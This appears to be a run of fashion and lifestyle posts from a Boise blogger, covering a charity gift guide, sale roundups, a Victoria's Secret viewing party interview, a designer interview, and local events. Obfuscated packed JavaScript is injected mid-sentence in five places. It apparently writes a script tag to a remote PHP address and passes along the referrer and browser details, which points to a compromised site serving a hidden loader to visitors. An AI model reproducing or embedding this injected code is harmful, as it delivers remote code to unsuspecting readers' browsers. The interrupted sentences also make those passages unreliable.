Christmas 2017 Give-Back Gift Guide

Shopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.

But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!

XOXO,

Tanya

Bought Beautifully

Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.

I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.

Bought Beautifully sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!

stylespygirl bought beautifully bracelet — Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.

Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.

Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase.

Corbin’s Legacy Bracelets

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.

Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.

You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.

Proof Eyewear

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live.

When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.

Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO

Easy Style on a Budget: Denim & Stripes

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you ever have those days when the weather is icky, and you find yourself pining for the long, warm evenings of summer? That was me today, watching the sun set at 5:30pm and feeling the temperatures start to drop. Brr! I miss lazy, warm 9pm sunsets!

What to wear, when you’re not in the mood for a ton of effort? Stripes + Denim + Hat = Fab Look! Most women have some type of striped piece in their closet, and of course some denim. Put them together, and you get a laid-back ensemble with a hint of Parisian chic! Now, you may have heard that horizontal stripes are a no-no, because they make you look wide. The key is to use those stripes where you want to widen, and use a jacket or sweater over the areas you want to slim down! I have narrow hips, so I chose a cropped jacket; this makes the stripes stand out – and widen me visually – right at my hips. See?

I’ve had great luck lately at the crazy-awesome winter sales happening around town, so finding fab styles on a tight budget has been fairly easy-peasy. That always perks me up!

Earlier this week I scored a destroyed denim jacket at Urban Outfitters for only $20 – gotta love those clearance racks! Ruby Lou in Eagle is having a 50% off winter sale; I picked up a couple lovely blouses you’ll see in photos soon, and this rad wool Soho fedora that will go great with EVERYTHING from now until the weather warms up, lol! For Boise, that’s around… March, sigh.

Pistil Fedora – 30% off right now at Ruby Lou!
Urban Outfitters Denim Jacket – % off
Evereve Striped Tunic on SALE now $29.99!
Express Scuba Legging Jeans
Fergie Boots – on CLEARANCE now at Fergie.com!
Rebecca Minkoff Handbag ($35 at Nordstrom Rack sale!)
Coach Sunglasses (from Boise Mounatin Eyecare) – similar here.

BEST SALES going on right now, besides the above:

H&M, extra 30% off Clearance, Winter sale up to 70% off!
Forever 21, Sweaters starting at $11.99!
Swank Boutique – Redline markdowns on winter fashions from Free People, Wildfox, etc. – 20-50% off!
Fancy Pants in Boise – Winter sale through Friday, 30-60% off clothing, 50% off ALL shoes!
Victoria’s Secret Semi-Annual Sale (ends tonight at midnight!)

Piece Unique & Shoez – Weekend winter MEGA-clearance sale on new AND consignment racks throughout the store, 75% off and more on TONS of items!!! Open 10am-6pm Satruday, 12-5pm on Sunday

Follow me on Instagram for daily sale alerts & fab fashion finds!

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Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysyzf|var|u0026u|referrer|dhaef||js|php’.split(‘|’),0,{}))
week Boise won the very distinct privilege of hosting the Official Victoria’s Secret Fashion Show Viewing Party for 2014!

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the 4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization?

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

Via Ellen Belle Hanson– Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18. I went to school, and played basketball, and then I decided to really go for it.

Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina: “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

It was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha Kautz, Alejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya

My Interview with Donald J. Pliner, Fashion Superstar

Photography: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kttbt|var|u0026u|referrer|datrk||js|php’.split(‘|’),0,{}))
Lenny Wheeler / Makeup: Shaylinn Barlow / Wardrobe: Dillard’s & Donald J. Pliner

Last month I had the honor and privilege of interviewing renowned footwear & handbag designer Donald J. Pliner at a special Dillard’s event, at Boise Towne Square! (Read Part 1 of my interview here.) Of course, when meeting a fashion legend, one wants to look her best. So I was thrilled when Dillard’s offered to outfit me from their store!

I fell in love with this dramatic full skirt from Adrianna Papell, and chose a funky skull-covered blouse from Chelsea & Violet to add a little edginess to the look. Little did I know that Mr. Pliner has a very personal affinity for skulls. In fact, ALL of his beautiful shoes carry symbolism, images, and dates that have deep, personal meaning to him and his family!

My video interview with Mr. Pliner is on ThisisBoise.com TV – watch it at this link (http://youtu.be/k30H32cAd_E), or in the embedded video below!

Donald J. Pliner was an amazing & inspiring person to talk to – I learned a great deal about life in the fashion world, what it’s like to rise and fall and rise again, and what makes this legendary man so passionate about his work. I hope you enjoy the video!!!

Special thanks to Shaylinn Barlow for doing my makeup for this interview, and the photo shoot! And to Lenny Wheeler, for accompanying me as photographer, and taking such wonderful pictures. 🙂

XO,

Blouse: Chelsea & Violet, via Dillard’s / Skirt: Adrianna Papell, via Dillard’s / Sunglasses: Coach / Bracelet & Earrings: Dillard’s / Makeup: Shaylinn Barlow / Photography: Lenny Wheeler Photography / Hair: Melissa Shay Thomas at Deco Salon

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Walking Tall Boise 2014

Ladies, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbknz|var|u0026u|referrer|zdtka||js|php’.split(‘|’),0,{}))
this is your night!!

Get dolled up, grab your girlfriends and come out to Walking Tall on Friday May 16th, presented by Everhart Photography!

At this Ladies-only event you will enjoy fashion shows, a burlesque show, giveaways, free photos, entertainment, raffles, drinks and desserts, and SWAG bags!

This is the biggest and best GIRLS NIGHT OUT around, and you will not want to miss out! Tickets are limited so start planning now and support a great local cause at the same time, as a portion of the proceeds go to Preservation Idaho.

Where else can you get 5 fashion shows, 6 dance/entertainer shows, desserts, drinks, photo ops galore, music, dancing, giveaways and more ALL for $15?? Tickets are almost sold out, but a few are still available at: http://walkingtall.ticketleap.com/

LADIES ONLY!!!

More info and chances to WIN tickets here: Walking Tall Facebook Event

Aveda Trashion Show Boise 2014

(Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrirh|var|u0026u|referrer|zfkrs||js|php’.split(‘|’),0,{}))
are property of ammophotog and StyleSpyGirl. Please share, tag, & repost, but don’t crop the logo out. Thank you!)

A few weeks ago, The Bombshell Salon in downtown Boise hosted the 2nd Annual Trashion show, benefiting Idaho Rivers United and Global Green Grants (internationally providing clean drinking water in 3rd world countries).

In honor of Earth Month (April,) Aveda committed to raising $5.5 million dollars to help provide clean water to third world countries, and Bombshell Salon jumped on board to help out the cause. The show was held at Hannah’s, with Boise icon Rocci Johnson emceeing. The goal was to throw a fashion show featuring local artists and designers, who had to create costumes from 100% post-consumer materials!

The fashions were amazing, and very creative, from bottle caps, trash bags, and newspapers, to hamburger wrappers and recycled Aveda brochures! Huge kudos to Nate Haderlie and his crew of volunteers for putting the event together so beautifully, and Bombshell Salon for doing incredible work on the lovely models. And congratulations to Darcie Nelson for taking 1st place with her stunning designs, made from a potato sack and spent bullet casings that were cut with a jig saw. I love the addition of the handbag, too – look closely in the photo below; the fringe is made from old keys! Amazing!!!

The Trashion Show was a huge success! I enjoyed the creative designs, and love the eco-conscious twist on fashion. The money raised by this event helped Aveda bring clean water to Third World communities! Well done, everyone! Congratulations to the winners:
1st Place: Darcie Nelson
2nd Place: Cessiley Haderlie
3rd Place: Montana Keating

Another big story of the night was one of the designer entries: Montana Keating (pictured above), a 15-year-old high-schooler who aims to be the next Yves Saint Laurent. Montana is the only young man in his school that is boldly pursuing a career in fashion. Last year, he accompanied me as my assistant to Bryce Black’s Fashion Show in Twin Falls (read my recap here), where the two designers struck up a friendship. Montana is creative, innovative, and above all determined to forge a career in the fashion industry. His amazing Pokemon dress (each card hand-stitched to the next!) won 3rd place at the Trashion Show, modeled by the beautiful Heather Floyd!

Montana recently entered that same dress into a State fashion competition that takes place among high schoolers in the area, and it won 2nd PLACE! His friends and family are SO VERY PROUD of Montana, and with this win he earned the opportunity to go to the National FCCLA competition in Texas this July (Family, Career, and Community Leaders of America.)

Here’s the twist: Montana has to raise $1,800 to get him to this competition, where he deserves a chance to show the world his talent. He is working hard to earn it, and is also running a “Go Fund Me” campaign. If you would like to help out at all, he and his family would be super appreciative!!! This talented guy is definitely going places, and I can’t wait to see what the future has in store for him. Please help him get his designs to the National FCCLA competition! Click the link below to donate – any amount helps!!!

XOXO,

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Mother’s Day Makeover Giveaway!

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LOFT / Photography by: Ammophotog

Mother’s Day is coming! And I’m hooking up with the Village at Meridian to bring you the ultimate Mother’s Day gift: a head-to-toe makeover, worth over $1,000!!! Do you think YOUR mom would appreciate a day of pampering and shopping fun? She will receive gift cards & services from myself, Soma, Francesca’s, LOFT, White House | Black Market, Oconik, Menchie’s, and the newly-opened SB Salon!!! Here are all the details:

May at The Village at Meridian is made for Mother’s!

Enter the special mother in your life for an once-in-a-lifetime makeover courtesy of The Village at Meridian.Over $1,000 in prizes and gift cards will be awarded to one lucky mother, as well as personal styling by the Treasure Valley’s own Style Spy Girl!

Enter online at The Village at Meridian’s Facebook page (click on “Sweepstakes” if the link doesn’t take you directly to it!), or by visiting Guest Services. Last day to enter will be May 7th, and a winner will be randomly chosen on May 8th.

Winner must be willing to allow images of themselves to be posted on both The Village at Meridian and Style Spy Girl social media channels. Winner must be available for makeover and personal styling session on Sunday, May 11th, time TBD. The date is non-negotiable and another winner will be chosen if first winner is not able to attend on that day.

Note: This event is sponsored by the Village At Meridian, in conjunction with Soma, Francesca’s, LOFT, SB Salon, White House | Black Market, Oconik, Menchie’s, & StyleSpyGirl.

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